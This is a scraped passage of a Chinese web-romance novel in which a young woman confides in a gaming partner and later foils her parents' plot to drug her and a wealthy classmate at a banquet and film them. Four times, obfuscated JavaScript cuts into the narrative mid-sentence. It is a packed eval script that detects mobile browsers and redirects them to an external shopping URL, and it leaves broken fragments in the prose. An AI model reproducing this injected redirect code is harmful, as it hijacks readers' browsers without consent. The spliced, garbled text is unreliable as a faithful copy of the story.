十分没由来地,白念突然鼻尖一酸。 . 严禹刚回到家,为了避免身上的酒气熏到唐老太太,他打了声招呼就往楼上走。 脱下西装外套随手挂上,他扯了扯自己胸前的领带。 虽然和人碰杯时他都只是浅浅地抿一口,奈何来找他的人太多了,几个小时的应酬下来,他还是无可避免了喝了好几杯,刚才在人前他没有表现出来,此刻喉咙或多或少有些干燥。 他往沙发上一倚,解开胸前最上方的两颗扣子,闭着眼睛试图缓解一下轻微的醉意。 手机消息提示音响起,严禹伸手拿过来,点亮了屏幕,万古令的app图标上有个新增的醒目红点,他睁开眼睛,点开查看。 是白念给她发消息。 【。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116805|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 万古令下载了一个星期,这是他们俩的消息框第一次动弹,严禹看着这个莫名其妙的句号顿了两秒,又看了看对方的头像,下面有行状态显示。 【对方正在游戏中。】 不小心按错了? 他指尖游移,不知道回过去会不会打扰她,等了两分钟,依旧没有下文。 看样子是发错了。 严禹垂下眼眸,他知道自己此刻状态不是很好,只是伸出手指轻轻摩挲了一下顶端明媚飘逸的女侠客头像,然后缓缓地收回指尖。 下一秒白念的消息就接连而至。 【你怎么还不上线?】 【说好的再也不会看不到我的消息呢?】 【看不到就好。】 【我只是想找个地方说说话。】 【刚才打日常没打过,好久没被獒妖打死过了,还挺痛的,哈哈。】 【其实一点也不好笑。】 【你怎么还不上线?】 【我好累啊。】 严禹手指猛地攥紧,下一秒,屏幕里的消息就开始迅速地被撤回,一条接一条,快到如果他再迟一秒看见,这些无处可诉的情绪就会悄然无声地湮灭,再无痕迹。 他想也没想,按下了语音通话按键。 通话接通的那一瞬间,两边都安静得落针可闻。 “……你怎么会在。”女生的声音有些迟缓,还带着点吃惊的茫然无措。 “你怎么了?”严禹嗓音沉沉,大约是喝了酒的缘故,带着些轻微的喑哑滞涩。 对面却突然沉默了下去,许是从严禹这句话中领悟到了背后的意味——他都看到了。 “对不起,让你等着了。今天有点事,我这就上线。”严禹有些着急,打开扬声器把手机放在一边,立刻起身去打开电脑登录游戏。 “……不用了,我只是随便说说,你忙就好。”女生的声音有些尴尬,张口就要拒绝。 游戏登录界面亮起,严禹按下登陆键:“我上线了。” . 白念此刻懊恼到恨不得把电脑屏幕倒扣在自己脑门上。 但是风不语的头像已经随着他的话音落下,准时亮起。下一秒,他的组队邀请就弹了出来,白念认命地点了同意,顷刻间被传送到了他的身边。 白衣神君正站在上次下线的青云谷门口,飘零的雪花在他身畔纷纷扬扬,女侠客瞬间传送到他身边站定,默默地与他相顾无言。 “你怎么了?你说,我听。” 风不语声音低沉却温柔,开口等了她两秒,白念思绪乱作一团,不知道从何说起。 “还是我陪你去把獒妖重新揍一顿?” 白念被这句话轻微地逗笑了一下,然后笑容又很快地沉寂下去,她咬着嘴唇看了看屏幕了稳稳站在她身边替她挡住了大半风雪的人,纷乱的心情突然就安定了下来。 仿佛不管是隔着多远的距离,只要她需要,他就会义不容辞的从天而降,从地窖上方,从杂物间外,从怪物爪下,从……黑暗之中。 她看着身前岿然不动的身影,突然觉得纠结的心绪都有了出口,她缓缓地说。 “你想听听我的故事吗?” 52. 暧昧 晋城这个时间是雨季,每天延绵不绝的细雨赋予这个城市氤氲迷蒙的色彩,白念尤其喜欢下雨,规律均匀的白噪音可以消解一切喧杂。 也许是此刻窗外持续不断的雨声太过缱绻,又或是耳边风不语的声音太过轻缓,白念原本以为倾诉的过程应当是满腔晦涩的,但她把电脑放在床头柜上,自己戴着耳机静静地躺在床上,柔软舒适的被子将她全然包裹,她感到前所未有的安定。 将困囿自己良久的枷锁展示给别人看,这对白念来说十分需要勇气,但她此刻莫名需要这样一个出口,而风不语恰好是一个很好的倾听者。 相隔网络,他们这样的距离很近又很远,近到白念张口就有回应,远到这样的回应白念没有任何负担。 风不语将话语的主导权交给她,做一个忠实又专注的听众,白念的声音轻缓漫长,如同在读一本很长的小说,如果内容的主角不是她的话。 故事的最后,她以一个轻笑的问句作结:“很矛盾吧?他们把我养大,我好像应该知足。” 许久没开口,风不语的嗓音仿佛有些沙哑:“一点也不。” 白念保持这样的浅笑,将半张脸连同耳机一起拢进温热的被子里,闭着眼睛听他说话。 “他们把你养大,不代表他们教会你长大,你一个人做得很好。” “嗯,我也觉得。”她嘴角含笑。 “所以你做什么都是理所应当的。”风不语说,“我理解你,并支持你。” 白念裹着被子翻了个身:“可是太难了。” “是很难。”他没有否认,“但是不代表做不到,而且——” “而且什么?”白念问他。 “而且不代表只有这个方法。” 白念睁开眼睛,瞪着屏幕上微弱的光亮问:“还有什么方法呢?” 对面的声音却静了一会儿,良久后才反问她:“如果有机会,你想……”他顿了顿,“你想报复回去吗?” 白念皱了皱眉,不知道他为什么这么问,她盯着天花板思考了两秒,轻轻摇了摇头:“不想,我只想远离。” 报复并不会让她感到快乐,她只是想要宁静和自由。 “我知道了。”风不语的嗓音发沉,不知道是不是白念的错觉,他今天声音格外喑哑,连呼吸都有些粗重,“那慢慢来,我陪你,总会有办法的。” 这样的安慰下原本没有任何具体的指向,不知为何却显得平和凝定,白念短暂地将这件事从夜晚中抛弃,“嗯”了一声,注意力开始从自我情绪中发散:“你怎么了?” “嗯?” “你的声音和平时好像不太一样。” 耳机那边的声音暂停了一下,白念听到那边有细碎的声音,好像是风不语起身倒了杯水,然后她听到了清晰可闻的吞咽声音,寂静的夜里近得如在耳畔,白念隔着被子轻轻揉了揉耳朵。 “可能是今天喝了些酒。”风不语回答她。 “哦……”白念松开手,似乎是刚才说话太多把她的思考能力用光了,她有些呆愣愣地开口:“那你怎么不休息?” 耳机里传来一声无奈的轻笑:“我记得有人问了两遍我为什么还不上线。” 聊天的氛围太好太放松,以至于白念忘了自己才是今晚这场谈话的始作俑者,她猛地掀开被子,觉得自己的脸似乎被柔软的布料捂得有些发热,微微发窘:“我瞎问的,那你快去休息。” “好。”风不语很听话地应声,但是嘴上这么说,手上却一动不动,因为酒精影响而有些发沉发重的呼吸声就这么均匀而强烈地响在白念耳朵里。 “……你怎么还不挂。”白念翻了个身。 “。”对面沉默半晌,也许是酒精让人表达变得诚实,“……不是太想。” 气氛预热到一个极其暧昧的顶点,白念深吸了口气绷住自己想笑的唇角,看了眼窗外。 “下雨了。” “嗯,我在看。” 风不语似乎是站在窗前,闻言伸手推开了窗扇,耳机里的环境噪音骤然清晰,淅淅沥沥的雨声与白念寝室外的雨声重合,变成绵延氤氲的二重奏。 白念的床位恰好贴着阳台窗户,她翻身面向窗外绵延雨景,温和的白噪音让她开始思绪迷蒙,在一片安静中她唇角带着笑意喃喃开口:“你知道吗,我很喜欢下雨,下雨让人变得平静。” “现在知道了。”风不语压低嗓音,语气温柔。 两个人默契地安静了起来,敛去声音一同聆听这方宁静。 白念慢慢闭上了眼睛。 . 通话彼端。 严禹握着手机正在犹豫。 燥热的感觉在缓慢地侵蚀他清醒的思绪,有些此时不适宜说出口的话在他喉咙里来回滚动,几乎就要脱口而出。 你为什么选择找我。 你给我发消息那一刻在想什么。 我们……我们现在,算什么关系? 他知道这些想法太过急躁,他承诺过要陪她一同寻找答案,换做平时他会有十足的耐心,今晚……可能是喝了酒的缘故。 静谧的雨声中,他喉结又缓又重地滚动了一下,带着轻微酒气的呼吸碰撞到自己扶着耳机的手臂,滚烫难言,某些隐秘的冲动盖过理智,他轻轻开口:“你——” 啪嗒。 对面传来一声轻微的响动,似乎是白念的耳机掉落下来,落在了她的鼻息之下。 她轻柔的呼吸声骤然在严禹耳畔放大,此起彼落,规律沉缓。 所有想要脱口而出的话语在这一刻戛然而止,一切想问的不该问的念头顷刻消散无余,严禹连呼吸都下意识放轻。 他敛下眼眸,低垂的眼中是无尽的温柔,无奈又释然地轻笑一声,声音轻得几乎消融在雨中。 “晚安。” 他轻轻关了麦克风,静静地倚在窗前沉默。 不知过了多久,他的手机消息亮起,他并没有立刻去看,而是抬头又多看了一会儿外面树影摇曳雨丝飘摇的缠绵景象,才缓缓收回视线,拿下耳机关掉窗户,脸上一切情绪随着外界声音的隔绝消失得无影无踪。 他面无表情地点开短信。 黑暗中手机屏幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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严禹放下杯子,向沙发上一倚,他回想起会场里,他只是随便示弱一下,陈哲就丝毫不知遮掩、以为派了两个保镖跟着他就万事大吉的样子,勾了下唇:“他尾巴都快翘到天上去了。” 他也没干什么,只是在陈哲不注意的时候给专家组组长发了条短信,然后就看到那位一派风光坐在高位上享受着别人恭维的中年男人朝他方向看了一眼,脸色顿时就变得煞白,若不是周遭攀谈的人太多,他就差给严禹跪下了。 唐雅目光里闪过一丝上位者的冷凝:“下属公司从创立初期我就没怎么跟进,大约是看我没上心,他才那么肆无忌惮,警方已经跟进调查他的经济往来,这两天就能有结果。” “不过儿子。”唐雅转过头拍了拍他的肩膀,“你很不错。” 严禹不置可否,他语气淡淡:“只要有痕迹,总会被发现的。” 很寻常的一句话,唐雅搁在他肩膀上的手却蓦地僵硬住了,她的笑容要收不收地挂在脸上,然后就看到严禹状似随意地转过脸来和她对视了一眼。 “您说对吗?” 53. 赴宴 一夜无梦,白念睁开眼睛已经是清晨十点。 久违的充足而良好的睡眠让她格外的心平气和,以至于她在手机上看到不知道第几个陌生号码发来的短信时,内心毫无波澜。 【有空吗?我想和你聊一聊,为上次的事情道个歉。】 白念盯着手机屏幕里令人匪夷所思的遣词造句,要不是她确认自己休息得很好,简直要以为自己青天白日里见鬼了。 仿佛无论她如何逃避,他们都会如同水鬼一样紧紧攀附着她的脚踝,企图将她拉入深不见底的黑渊,如影随形,挣脱不得。 所幸这次没有愤怒,没有恶心,白念发现自己意外地平静,甚至还有点想笑。 她再次把这个号码拉进黑名单,起身洗漱后下楼吃饭。 随他们折腾。 还有几天就要开学了,已经有学生陆陆续续返校,冷清的小吃街总算慢慢热闹起来,白念挑了家新开的店,买了碗清汤小馄饨,晃晃悠悠地拎着往回走。 然后在寝室楼下看见了一个女人。 永远保持卷翘的头发,深色的口红,以及细长的高跟——从她记事起,周淑华就是这样的打扮。 看见她走近,周淑华抬起头来,对她露出一个从未见过的笑容,艳红的唇角微微翘起,却丝毫没有牵动眼角的细纹。 “怎么不回消息,没看到吗?”女人轻轻开口,音量竟是难得的缓和。 白念看也懒得看她,径直提着东西往里走。 “念念,那天是我错了。”周淑华在她身后扬起音量说道。 白念的脚步一顿。 上一次听到周淑华这么喊她,好像已经是上个世界的事情,白念的记忆有些模糊,只记得她那时候站起来只有周淑华的膝盖高,懵懵懂懂地昂着头看奶奶大声指责自己的母亲,什么鸡啊、蛋啊、离婚之类的,那些词汇对她来说太过陌生,她不懂。 她只知道漫长的纷争过后,周淑华蹲下来捏住她的肩膀,凝视着她自言自语:“念念,你怎么就是个女孩呢?” 小白念伸出手去够自己母亲嘴角诡异的弧度,她蓦地脸色一变,猛地把白念推在地上站起身来,居高临下地看她大哭,冷冷地收回视线静静低着头,突然朝着自己的小腹猛地捶了几拳,力度大到把她自己撂倒在地,然后坐在地上把手中攥到发皱的纸页撕得粉碎,歇斯底里:“凭什么我不能生了!凭什么!” 长大了的白念,终于懂得奶奶当初那句话是什么意思。 ——不会下蛋的鸡。 手里馄饨的热气沿着袋子口溢出,熏得白念的手指有些发烫,她换了只手拎东西,回过头深深看了一眼身后永远把自己涂抹得鲜艳又锐利的女人,眼里没什么温度:“别这么叫我,恶心。” 周淑华笑容却纹丝不动:“上次发给你的链接你点进去了吗?” 白念从记忆里翻找出被她早早丢进黑名单的某一条消息,声音很淡:“我从不看垃圾信息。” 周淑华却不生气,她点点头:“不看也好,我今天找你是有事跟你说。” 白念意外地掀起眼帘看了一眼神情平静的女人,她的记忆里,周淑华对着她永远是歇斯底里的,面对白念的冷嘲热讽,她何曾这么有耐心过? 她懒得再废话,转身往公寓楼的玻璃门里走去,周淑华又喊她:“我知道你不想再看到我,哦,我们。” 白念脚步不停。 “答应我一件事,我永远不会再来打扰你。” 白念的脚步蓦地顿住。 . 白晟林把宴请时间定在了周日傍晚六点。 严禹到达福照阁的时候,大厅里墙上的时钟一分不差指向六点整。白晟林已经在此恭候,一看见他的身影立刻迎了上来:“严公子,这边请这边请。” 边说着话还边往他身后看了看,面带询问:“唐董事长她……” 严禹两手揣在兜里,垂着眼往包厢里走:“有事。” “啊是是是,严公子能来我就已经非常荣幸了,请进请进。”白晟林笑得见牙不见眼,替他拉开了包厢的门。 严禹迈开腿往里走,抬起眼睛随意地瞟了一眼,包厢里坐了两个人。 “严公子,向您介绍一下,这是我的妻子,这是我的女——” 他伸出的长腿微微一滞。 前夜在他耳机里安然入眠的女生,此刻正静静地坐在他的对面,面无表情地低着头,听到有人进来,她随意地抬起头看了一眼,恰好与严禹对上了视线。 她的表情也是一愣。 严禹轻轻地收回目光,白晟林已经替他拉开椅子,他俯身坐下,与白念面对面。 侍者已经把菜品布置完毕,鞠了个躬退了出去,徒留房间内一片寂静,夫妻俩站起来朝严禹举了举杯,一派恭维。 白念有点惊讶。 周淑华让她陪同赴一场宴,还声称项目很重要,涉及到她的专业知识,想让她帮忙参谋参谋。 ——白念自然是不会相信,但是周淑华最后那句话让她有些动摇,什么事能让她一反常态地做出这种承诺? 昨夜风不语的话清晰在耳:慢慢来,见招拆招。 她只是犹豫了半分钟,就答应了。没想到赴宴的对象竟会是他,她看了眼对面西装革履的严禹,男生的脸上平静无波。 略带疑惑,她轻轻开口:“师兄?” 男生坦然地回视过来,挑了挑眉:“这么巧?” 他一边说着,一边把眼神投向一旁的夫妻二人,似乎在等待他们介绍。 白晟林暗暗向周淑华递了个眼色,女人不动声色地观察了一下严禹的表情,才巧笑着站起身来走到白念身后,双手扶在她的肩膀上拍了拍,一副惊讶的样子:“严公子,这是我们的女儿白念,看起来您好像认识?” 严禹举了举杯:“同专业的师妹,这不巧了么。” 白念忍受着肩膀上黏腻的感觉,心思转得飞快,他没认出来白晟林他们俩就是那天晚上找事的人吗? 周淑华笑得更灿烂了:“那可真的是缘分了,我们家念念性子特别倔,在学校没给您惹什么麻烦吧?” 严禹笑容浅淡得体:“还好,不是一届交集不多。” “那就好那就好,今天聚在这里也是缘分,念念,这是唐氏集团的公子,快。”周淑华和蔼地拍了拍她的肩膀,又转头向严禹:“让念念敬您一杯,以后在学校可要请您多担待啊。” 说完,周淑华拿起桌上的红酒,给白念倒了一杯,催促她起来敬酒。 白念终于敛下心神,有些僵硬地端起酒杯,看着严禹张了张嘴,没说出话来。 习惯了严禹穿着简单的衬衫T恤的模样,此刻他一身成熟内敛的深灰色西装,再配上他没什么表情的脸,俨然一副疏离矜贵的感觉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13144945|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她以前隐约看得出来严禹家庭条件不错,但没想到他竟然是……前几天还凑在一起改方案的同门师兄,现在成了令她全家毕恭毕敬的座上宾。 她大概猜出来周淑华他们藏的什么心了,严禹没认出他们,他们一定是认出来严禹了,大约是那天晚上的帮忙让他们夫妻俩会错了意,以为他们之间有什么,想借助她来攀上唐氏这棵高枝罢了。 原来不再打扰她的条件,就是想榨取她的最后一点利用价值而已。 可惜他们的算盘打错了。 白念在心底冷笑一声,尽管告诉自己要耐心,还是没由来地一阵反胃,身旁夫妻俩极尽谄媚,她看了眼不知情的严禹,有些抱歉。 举起酒杯,她向他报以尴尬的一笑,严禹十分绅士地回敬过来。 一顿饭吃的没滋没味,快到尾声,白念看了眼对面和白晟林攀谈甚欢的人,拿起手机悄悄给他发了条信息。 手机轻轻震动起来,严禹打断了白晟林醉意上涌之下的滔滔不绝,拿起来看了一眼,不动声色地说了声抱歉就离席出门了,白念等了两分钟,也跟了出去。 严禹站在中厅走廊里等她,抬头看着落地窗外的夜景,白念走过去在他身旁站定,明亮的玻璃在灯光作用下倒映出两个人的影子,男生侧过头看了她一眼,轻轻开口:“怎么了?” 白念深吸一口气道:“……你还记得那天晚上在网咖外的事情吗?” “嗯,记得。”他的语气坦然大方,令白念松了口气。 “那晚上你替我拦住的那两个人,就是我的父母。”她看了一眼严禹,他静静地垂眼看着她,神色并无波动,她继续道,“天色太暗你可能没看清……但他们一定是认出来你了。” “嗯。”男生却轻轻笑了下。 白念见他一副毫无察觉的样子,皱了皱眉,加快语速:“所以我是想提醒你,他们带我来赴宴是为了借我跟你拉近关系,当然他们想多了,但是——” “你今天怎么会来?”严禹突然打断了她的话,静静地注视着她的眼睛。 白念眼神闪躲了一瞬,下意识看了眼窗外,严禹并不着急,静静地等待她回答。 她知道自己的行为在他看来很难理解,那天的话他也听到了,明明都闹成那样了,她却还能妥协……他一定觉得自己很奇怪吧。 白念突然泄了口气,低下头轻轻踢了踢脚下的地毯:“我有自己的原因。” 气氛陷入僵局,严禹再次开口,却并没有继续追问,只说:“回去吧,出来有些久了。” 白念抿着唇点点头,想要转身,却被他打断:“等下。” 她愣了愣,抬起头来,一直跟她保持着合宜距离的男生却骤然靠近,轻轻俯身,抬起手来贴近她的脸,连同线条流畅深刻的侧脸一起凑近,清淡好闻的气息随着他的动作侵入她的鼻息,白念僵在原地。 他看着她僵硬的模样,从鼻间几不可闻地轻笑了下,伸手碰了碰她的头发,把手举到她面前:“有片羽毛。” 白念垂下眼看向他的指尖,白色纤弱柔软的一丝纤维,不知道哪里蹭来的,她“哦”了一声。 “走吧。”男生直起身来唤她,白念依言转身回去,没看到男生的视线向包厢的方向轻轻瞥了一眼,有一尾晃动的衣角从门外轻轻收了回去。 如果从门口看过来,刚才的动作便极尽暧昧,就如同一个轻轻的拥吻。 54. 下药 再次回到包厢时,看着脸上一派和蔼的周淑华和醉意迷蒙的白晟林,白念心里已经没那么烦躁了。 具体因由已经和严禹说得很清楚,剩下的他自己应该可以衡量清楚,接下来该着急的就不是她了。 果然,酒足饭饱,看着严禹没什么特别反应,依然面色沉静地安然端坐在主位上,白晟林和周淑华两口子已经有点坐不住了。 “严公子,您看是这,今天请您小聚一趟呢,一来是为了感谢您那天商谈会上对我的照顾,二来是想听听您对我们这个项目策划案的意见和建议,哈哈,我们也好有个努力的方向不是?” 白晟林虽然喝了许多酒,长期的商场摸爬滚打还是让他修炼了一身圆滑,说话大着舌头也不耽误他探口风,还说得滴水不漏,态度十分谦卑。 严禹对上他再次敬过来的酒,面带微笑地看着他的眼睛没有说话,留足了上位者的矜持与派头。 就这么安静了片刻,直到盯得白晟林真个人开始发虚,端着酒杯的手也不抖了,眼神也不晃了,脸上醉醺醺大咧咧的表情都下意识收敛了些,严禹才慢悠悠地扯了下领带道:“白先生的提案自然是挺好的。” 伸长了脖子等待他下文的白晟林眨了眨眼睛,这就没了? 他快速地和周淑华对视了一眼,扯开一抹笑,试探着问:“那下一轮的选拔,您看我们希望大吗?” 严禹的眼睛漫不经心地转了一圈,看了看目光满含希冀的夫妻俩,轻笑了下:“当然……” 这两个字让白晟林燃起无限信心,连连点头,下意识把上半身凑得更近。 严禹才慢吞吞地接上:“每一家参选单位都有希望,不是么?” 夫妻俩像是同时被人打了一把掌似的,殷切的表情僵在脸上,表情可谓是异彩纷呈。 要不是场合不太对,白念几乎要笑出声来,她将头浅浅地埋下去,好让自己幸灾乐祸的表情不要那么明显,对面的男生看了她一眼,唇角浅浅地勾了一下,又恢复面无表情的状态。 可白晟林到底心理素质强,被人凭空打脸,笑容依然绷在脸上,眼珠转了转,突然跟想起什么似的,连忙伸手去怀里掏东西,然后就要往前递。 动作太快,隔着桌子白念只能隐约看到是一张很小的卡片。 白晟林讪笑道:“瞧我这记性,差点忘了,今天劳烦您跑这一趟,这是我们的一点心——” 他话音未落,严禹又漫不经心地调整了下坐姿,不留痕迹地避了过去,抬头看向作壁上观的白念。 他的目光直白而深邃,仿佛刻意要让旁边的人看清楚一样,连带着夫妻俩也顺着他的视线看过来,严禹这才缓缓开口:“当然了,白先生也不用过于担心,您的策划案很有潜力。” 这大起大落让白晟林一口气吊在心口又重重落下,他心有余悸地虚虚擦了把汗:“严公子刚才可真是会开玩笑哈哈……” 白念愣了愣,不理解为什么情况突然急转直下,严禹刚才还是拒绝的意思,怎么现在话里话外又给了白晟林他们希望? 她看着严禹毫不掩饰地直直望向她的眼睛,不明所以。 一旁的周淑华却突然站起身来,拿起桌上的红酒瓶开始给白念倒酒,随后笑容满面地举起自己的酒杯道:“那就借您吉言了,来来来,念念,快去给严公子敬一杯。” 白念皱了皱眉,而周淑华扶在她肩上的上已经转移到她背上,几乎是以强迫的姿态将她往严禹那边用力一推搡,她一下子没反应过来,被一把推到了严禹面前,几乎站立不稳,往他怀里倒了倒,被他伸出手稳稳扶住。 “小心。”他说。 两人之间只隔了两拳的距离,说话间他的呼吸洒在白念手臂上,白念抬起头看他,就看他浅笑着举起酒杯与她碰了碰:“干杯。” 白念眨了眨眼,端起酒杯与他一起喝了一口。 敬完一杯酒,这场你来我往的试探仿佛才落下帷幕,夫妻俩笑容可掬地放下酒杯,白晟林手机突然响起,他拿起手机向严禹点头致歉,然后退出包厢去接电话了。 紧跟着,周淑华也探头向外看了看,笑道:“我丈夫好像遇到急事了,念念你陪着严公子,我出去看看。” 说罢也急匆匆出去了,路过严禹的位置时还不小心崴了下脚,扶了扶严禹的椅背,和他对视了一眼,扬起一抹意味深长的笑容。随后她看了一眼端坐在椅子上的白念,起身离开。 严禹垂下眼眸,一张毫不起眼的卡片落在他的外套口袋里,上面刻着福照阁的logo,以及一串清晰的数字:1501。 . 十分钟后,包厢的门被推开了,有眼尖的人会看到,从里面出来了两道相互依偎的身影。 不对,说相互依偎也不对,这两道身影更像是——更像是娇小那一个完全倚靠在一旁高大修长的男生身上,失去力气一般,任由男生将她搀扶着、半挽着,往电梯口挪去。 男生伸出手,按了个上行键。 电梯门合上的那一瞬间,楼梯间里闪现出窥伺良久的一男一女两道背影,回到刚才的包厢里。 周淑华拿起她放在边柜上的手包,掏出里面一块方方正正的设备,白晟林急不可耐地凑过来和她一起看向这块电子屏幕。 画面上俨然是他们四个人坐在一起吃饭的影像,镜头对准了严禹的侧脸。两人把进度条往后拨了拨,看到了他们想看到的画面。 在他们离开后的画面。 画面中的女生放下酒杯不久,便昏昏沉沉地倒在了桌上,而她对面的男生站起身来,轻轻把她搀扶起来,打开包厢门,拢着她向门外走去。 夫妻俩意味深长的脸上尽是心满意足的得色,白晟林激动地一拍大腿:“他果然有这个意思!” 周淑华艳红的唇角一扬:“我说什么来着。” 白晟林激动地一把搂住女人的肩膀,被酒气熏得微红的眼睛满是精光:“淑华,这次多亏了你,等拿下唐氏的合作权,你就是白家最大的功臣!” 不知哪句话刺痛了女人,她原本微笑着的脸僵了僵,才复又温柔起来,轻轻抚上面前男人的脸。 白晟林忙着去翻找另外一个远程录像设备,徒留女人一个人看着紧闭的包厢门发愣,眼神里一片阴冷。 . 1501号房间。 严禹揽着怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152517|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的人走了进来,轻轻将门合上,随后按亮房间里的灯。 怀中的女生没什么意识,无力地靠着他,借助着他的力量往里歪斜倒靠地挪动,连同温热的呼吸一起铺洒在他的胸口,纤白的手臂软软地缠在他的手臂上,走动间轻轻擦碰过他流畅的肌肉线条。 他在原地站定,喉结沉沉地滚动了一下,深吸一口气,视线缓慢地在房间内扫了一圈。 “喝点水吗?”他嗓音有点哑,低头询问怀里人事不省的女生。 “唔……”白念含混不清地应了一声,也不知道听进去没有,于是严禹搀扶着她往茶几边走,一只手揽住她,另一只手去够桌上的瓶子。 也不知道是没力气还是太过燥热,怀中的女生不安地扭动了一下,严禹一只手顾不过来,眼睁睁看着她脱离掌控,歪歪扭扭地往茶几边上倒去,他连忙伸手去接,女生倒下来的速度太快,惯性拽着他往地上一躺。 两个成年人的体重将茶几猛地一撞,桌面上的东西哗啦啦掉落一地,装满水的玻璃瓶应声倒地。 哐啷! 玻璃瓶碎了一地,蓄满的水倾泻出来,将地上散落的东西浇了个劈头盖脸。 严禹以身着地,给白念当了个结结实实的垫子,她就这么趴在他的胸口垂着脑袋安静了片刻,直到叮铃哐啷的动静终于消停下去,原本意识朦胧的女生突然开口,闭着眼睛悄声问了一句:“好了吗?” 严禹侧过脸看了看地上被摔碎的花瓶,瓶口粘贴的设备被水泡得彻彻底底,微弱的红光闪烁两下彻底熄灭,他收回视线看向身上的女生,胸膛起伏两下,沉声开口:“可以了。” 白念的脸贴在他的胸膛上,随着男生低沉的嗓音响起,胸腔里隐秘的震动将她的脸蹭得细细密密地痒。 闻言她终于睁开眼睛,手忙脚乱地想要爬起来,地上都是玻璃渣和水,她无从下手,只好撑着男生的胸口飞快地爬起来,放在他身上的手掌一触即分。 “嘶——”男生轻轻倒吸一口气,白念吓了一跳。 “你怎么了?”她小心翼翼地问,是不是自己刚才把他按痛了。 严禹长舒一口气:“没事。” 他以臂撑地站了起来,白念这才发现他们刚才倒下时候严禹用身体将她和其他东西完全隔绝开来,他的侧背直接磕在了茶几边缘,衣服又被碎玻璃划开长长的一条口子。 严禹自己仿佛浑然不觉,扯着她的袖子将她往旁边拉拉:“别踩到玻璃。” 说罢自己俯下身去背对着她,想要收拾这一地狼藉。 这个动作将他背后左侧方一道鲜红的瘀痕清晰地摆在白念眼前,甚至被玻璃划出破口,正在往外渗血,她嗫嚅着开口:“你的后背……受伤了。” 男生反手一摸,这才发觉自己背后的状况,他依然背对着白念,低声说了句:“没事。” 说完随后扯过进门时扔在沙发上的外套就要往肩上披,白念皱了皱眉,快速地打开手机点了医疗应急用品,然后放下手机直奔男生而去,伸手就要拉开他的外套:“你这样伤口会感染的——” 严禹却猛地直起腰来,与她拉开两步的距离:“别碰我。” 55. 热 严禹这强烈的反应让白念怔在原地,她下意识朝他的脸看过去。 然后就是一愣。 男生背对她站着,白念只能看见他的侧脸,碎发掩盖下的半边耳朵不知何时已经变得通红,白色衬衫下的胸膛因为急促呼吸而剧烈起伏,面对她的右手紧握成拳,强自忍耐令他的手背青筋毕露,连带着修长挺拔的背影都显得有些狼狈。 察觉白念在看他,严禹闭了闭眼,深吸一口气,试图让自己冷静下来。 白念愣愣开口:“难道你……” 刚才周淑华提议敬酒时候,严禹借着扶她的时机轻声提醒她小心,她与他对上视线后已经察觉到异常,并没有把酒真正咽下去。 严禹也没有咽下去,那他是什么时候被下的药? 回想起刚才男生一声不吭的模样,白念抿了抿唇。他喝了有问题的酒,刚刚又为了帮她挡住玻璃受了伤,她却完全没有察觉他的异常,如果不是她想去帮他处理伤口,不知道他要忍到什么时候才肯说。 来不及追究什么,白念缓缓地往前挪了一步,想查看一下风不语的情况。 严禹往后退了一步,哑着声音从喉咙里挤出几个字来回答她的问题:“嗯,别过来。” 白念站在原地手足无措,她不知道那是什么感觉,也不知道要怎么处理,只能看出来他很难受。说话间,他原本白皙的脖颈也渐渐染上红色,急促的呼吸带着烫意,潮热漫延,甚至令白念都觉得有些闷热。 大约是药效开始发作了,严禹肉眼可见地难受起来,连带着身形都有些摇摇欲坠。 僵持之间,白念突然看见他背后露出的衬衫衣角突然渗出一些醒目的血色来,她声音有些滞涩:“你的伤口……血没止住。” 严禹低低地“嗯”了一声,反手自己摸了一把后腰,垂下眼去看,纤长的手指上全是刺目的鲜血,白念倒吸了一口凉气,心狠狠地沉了下去。 要不是因为帮她,他也不会变成这样。 察觉到白念情绪不对,严禹垂下手掩去自己一手的血,声音低了一些:“我没事。” 说完还短暂地扯了下嘴角:“真的,我现在感觉不到疼痛。” 白念抿了抿唇,突然向前走了一步,猛地将他的外套拉开。大约是药效让严禹思绪变得有些迟钝,他没来得及躲开,被白念揪了个正着,背后渗血的伤口直白地展露在她的眼前。 “我帮你处理伤口,别躲了。”白念语气突然变得很坚决,字里行间是不容反抗的意味。 严禹呼吸粗了几分,伸出手想拨开白念的手掌。 